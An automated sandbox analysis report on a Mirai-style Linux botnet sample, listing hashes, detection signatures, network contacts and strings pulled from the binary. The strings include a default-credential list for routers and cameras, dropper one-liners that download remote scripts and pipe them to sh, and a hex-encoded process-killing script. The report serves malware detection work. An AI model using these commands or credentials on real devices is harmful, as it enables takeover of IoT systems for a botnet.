Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1543576
MD5: 13131f3114a49d14ae689bcc81872636
SHA1: e10c989be89c0fd5120b893284aaf07dee50ed70
SHA256: da98c56ac7105d0425ca37d033f06d72f77eb2eadc9b54780a8ccf8632591318
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4|

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.19.135 ports 2,3,4,8,9,38429
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:44866 -> 156.244.19.135:38429
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 6248) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 121.105.169.130
Source: unknown TCP traffic detected without corresponding DNS query: 121.105.169.130
Source: unknown TCP traffic detected without corresponding DNS query: 140.215.187.90
Source: unknown TCP traffic detected without corresponding DNS query: 140.215.187.90
Source: unknown TCP traffic detected without corresponding DNS query: 55.140.234.180
Source: unknown TCP traffic detected without corresponding DNS query: 2.40.146.190
Source: unknown TCP traffic detected without corresponding DNS query: 55.140.234.180
Source: unknown TCP traffic detected without corresponding DNS query: 173.43.206.188
Source: unknown TCP traffic detected without corresponding DNS query: 2.40.146.190
Source: unknown TCP traffic detected without corresponding DNS query: 41.62.23.2
Source: unknown TCP traffic detected without corresponding DNS query: 173.43.206.188
Source: unknown TCP traffic detected without corresponding DNS query: 75.71.27.11
Source: unknown TCP traffic detected without corresponding DNS query: 41.62.23.2
Source: unknown TCP traffic detected without corresponding DNS query: 211.176.8.32
Source: unknown TCP traffic detected without corresponding DNS query: 75.71.27.11
Source: unknown TCP traffic detected without corresponding DNS query: 50.231.228.137
Source: unknown TCP traffic detected without corresponding DNS query: 211.176.8.32
Source: unknown TCP traffic detected without corresponding DNS query: 80.49.198.167
Source: unknown TCP traffic detected without corresponding DNS query: 62.229.124.152
Source: unknown TCP traffic detected without corresponding DNS query: 50.231.228.137
Source: unknown TCP traffic detected without corresponding DNS query: 165.255.85.147
Source: unknown TCP traffic detected without corresponding DNS query: 80.49.198.167
Source: unknown TCP traffic detected without corresponding DNS query: 179.90.32.138
Source: unknown TCP traffic detected without corresponding DNS query: 62.229.124.152
Source: unknown TCP traffic detected without corresponding DNS query: 148.125.140.187
Source: unknown TCP traffic detected without corresponding DNS query: 165.255.85.147
Source: unknown TCP traffic detected without corresponding DNS query: 179.90.32.138
Source: unknown TCP traffic detected without corresponding DNS query: 148.125.140.187
Source: unknown TCP traffic detected without corresponding DNS query: 153.9.242.227
Source: unknown TCP traffic detected without corresponding DNS query: 118.146.222.153
Source: unknown TCP traffic detected without corresponding DNS query: 104.77.175.35
Source: unknown TCP traffic detected without corresponding DNS query: 153.9.242.227
Source: unknown TCP traffic detected without corresponding DNS query: 221.33.230.215
Source: unknown TCP traffic detected without corresponding DNS query: 118.146.222.153
Source: unknown TCP traffic detected without corresponding DNS query: 181.222.222.31
Source: unknown TCP traffic detected without corresponding DNS query: 104.77.175.35
Source: unknown TCP traffic detected without corresponding DNS query: 129.158.228.240
Source: unknown TCP traffic detected without corresponding DNS query: 221.33.230.215
Source: unknown TCP traffic detected without corresponding DNS query: 4.26.163.122
Source: unknown TCP traffic detected without corresponding DNS query: 181.222.222.31
Source: unknown TCP traffic detected without corresponding DNS query: 107.249.117.158
Source: unknown TCP traffic detected without corresponding DNS query: 129.158.228.240
Source: unknown TCP traffic detected without corresponding DNS query: 53.4.21.62
Source: unknown TCP traffic detected without corresponding DNS query: 4.26.163.122
Source: unknown TCP traffic detected without corresponding DNS query: 29.94.23.55
Source: unknown TCP traffic detected without corresponding DNS query: 107.249.117.158
Source: unknown TCP traffic detected without corresponding DNS query: 112.108.50.8
Source: unknown TCP traffic detected without corresponding DNS query: 53.4.21.62
Source: unknown TCP traffic detected without corresponding DNS query: 199.128.47.35
Source: unknown TCP traffic detected without corresponding DNS query: 177.106.84.207
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 6250) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sh4.elf (PID: 6252) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6252) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6250) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sh4.elf (PID: 6252) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 6248) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6248.1.00007ffc7f123000.00007ffc7f144000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6248.1.000055af3528f000.000055af352f2000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6248.1.000055af3528f000.000055af352f2000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6248.1.00007ffc7f123000.00007ffc7f144000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
110.231.204.156
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
132.111.3.145
 unknown United States
306 DNIC-ASBLK-00306-00371US false
198.187.1.193
 unknown United States
4193 WA-STATE-GOVUS false
75.71.27.11
 unknown United States
7922 COMCAST-7922US false
209.34.211.44
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
136.212.107.115
 unknown United States
721 DNIC-ASBLK-00721-00726US false
146.110.238.35
 unknown Hungary
25171 BKAENET-ASBudapestUniversityofEconomicSciencesandPubl false
57.134.41.99
 unknown Belgium
2686 ATGS-MMD-ASUS false
39.221.88.143
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
108.162.184.232
 unknown Canada
5645 TEKSAVVYCA false
133.16.214.90
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
220.19.154.106
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
211.147.161.96
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
111.98.231.216
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
170.116.38.163
 unknown United States
22347 DORSEY-WHITNEYUS false
125.18.98.16
 unknown India
9498 BBIL-APBHARTIAirtelLtdIN false
216.25.37.146
 unknown Canada
13768 COGECO-PEER1CA false
196.211.130.38
 unknown South Africa
3741 ISZA false
150.5.250.251
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
162.159.234.76
 unknown United States
13335 CLOUDFLARENETUS false
191.42.184.93
 unknown Brazil
7738 TelemarNorteLesteSABR false
179.62.194.56
 unknown Argentina
27983 RedIntercableDigitalSAAR false
195.181.57.222
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
92.169.31.192
 unknown France
3215 FranceTelecom-OrangeFR false
211.195.14.46
 unknown Korea Republic of
10056 HDMF-ASHyundaiMarinFireInsuranceKR false
146.102.12.108
 unknown Czech Republic
2852 CESNET2CZ false
212.110.157.112
 unknown Russian Federation
200420 RFMEGA-NETRU false
91.140.57.48
 unknown Greece
25472 WIND-ASGR false
124.39.0.107
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
142.100.59.158
 unknown Canada
852 ASN852CA false
115.34.59.224
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
138.103.22.174
 unknown Sweden
7046 RFC2270-UUNET-CUSTOMERUS false
52.213.15.92
 unknown United States
16509 AMAZON-02US false
102.78.254.201
 unknown Morocco
36903 MT-MPLSMA false
76.142.163.128
 unknown United States
7922 COMCAST-7922US false
132.97.228.213
 unknown United States
306 DNIC-ASBLK-00306-00371US false
114.73.38.161
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
63.207.100.35
 unknown United States
7018 ATT-INTERNET4US false
148.250.205.84
 unknown Mexico
6503 AxtelSABdeCVMX false
75.94.195.87
 unknown United States
7029 WINDSTREAMUS false
140.239.148.158
 unknown United States
2828 XO-AS15US false
180.29.155.206
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
219.175.117.167
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
125.225.217.87
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
195.16.243.93
 unknown Austria
39912 I3B-ASAT false
84.120.103.31
 unknown Spain
12357 COMUNITELSPAINES false
206.191.127.66
 unknown Canada
15290 ALLST-15290CA false
168.161.56.113
 unknown United States
38027 MOST-AS-APInformationCenterMinistryofSciandTechCN false
197.248.198.38
 unknown Kenya
37061 SafaricomKE false
30.91.28.122
 unknown United States
7922 COMCAST-7922US false
195.199.48.170
 unknown Hungary
1955 HBONE-ASHUNGARNETHU false
143.98.32.244
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
42.45.172.79
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
49.78.229.19
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
37.104.36.120
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
142.132.18.86
 unknown Canada
22686 UNIVERSITYOFWINNIPEG-ASNCA false
179.135.30.188
 unknown Brazil
26599 TELEFONICABRASILSABR false
39.209.237.75
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
33.51.129.243
 unknown United States
2686 ATGS-MMD-ASUS false
20.91.243.47
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
163.106.186.1
 unknown France
